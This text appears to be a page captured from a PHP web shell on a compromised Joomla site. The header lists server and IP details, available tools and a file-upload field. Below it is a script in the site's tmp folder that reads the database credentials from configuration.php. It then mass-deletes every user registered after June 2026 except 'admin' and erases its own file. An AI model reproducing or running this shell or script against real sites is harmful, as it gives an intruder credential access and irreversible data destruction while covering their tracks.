| Server IP : 87.98.231.4 / Your IP : 216.73.217.178 [ Web Server : Apache System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : grupmartgn ( 667608) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/grupmartgn/elanartcrafts/tmp/ |
Upload File : |
<?php
define('_JEXEC', 1);
define('JPATH_BASE', dirname(__DIR__));
if (!file_exists(JPATH_BASE . '/configuration.php')) {
die('Файл configuration.php не найден по адресу: ' . JPATH_BASE);
}
require_once JPATH_BASE . '/configuration.php';
$config = new JConfig();
$dbHost = $config->host;
$dbPort = 3306;
if (strpos($dbHost, ':') !== false) {
list($dbHost, $dbPort) = explode(':', $dbHost, 2);
}
try {
$dsn = "mysql:host={$dbHost};port={$dbPort};dbname={$config->db};charset=utf8mb4";
$pdo = new PDO($dsn, $config->user, $config->password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);
} catch (PDOException $e) {
die("Ошибка подключения к БД: " . $e->getMessage());
}
$prefix = $config->dbprefix;
$targetDate = '2026-06-01 00:00:00';
try {
$stmt = $pdo->prepare("SELECT id, username FROM `{$prefix}users` WHERE `registerDate` >= ?");
$stmt->execute([$targetDate]);
$users = $stmt->fetchAll();
if (empty($users)) {
echo "Пользователи, зарегистрированные после 01.06.2026, не найдены.<br>";
} else {
echo "Найдено пользователей для удаления: " . count($users) . "<br><br>";
$delUsers = $pdo->prepare("DELETE FROM `{$prefix}users` WHERE `id` = ?");
$delMap = $pdo->prepare("DELETE FROM `{$prefix}user_usergroup_map` WHERE `user_id` = ?");
$delProfile = $pdo->prepare("DELETE FROM `{$prefix}user_profiles` WHERE `user_id` = ?");
foreach ($users as $user) {
$id = $user['id'];
$username = $user['username'];
if ($username == 'admin') continue;
$delUsers->execute([$id]);
$delMap->execute([$id]);
$delProfile->execute([$id]);
echo "Пользователь <b>{$username}</b> (ID: {$id}) успешно стерт из БД.<br>";
}
}
} catch (Exception $e) {
echo "Ошибка при выполнении SQL: " . $e->getMessage();
}
if (@unlink(__FILE__)) {
echo "<br><b>Безопасность:</b> Файл скрипта автоматической очистки удален с сервера.";
}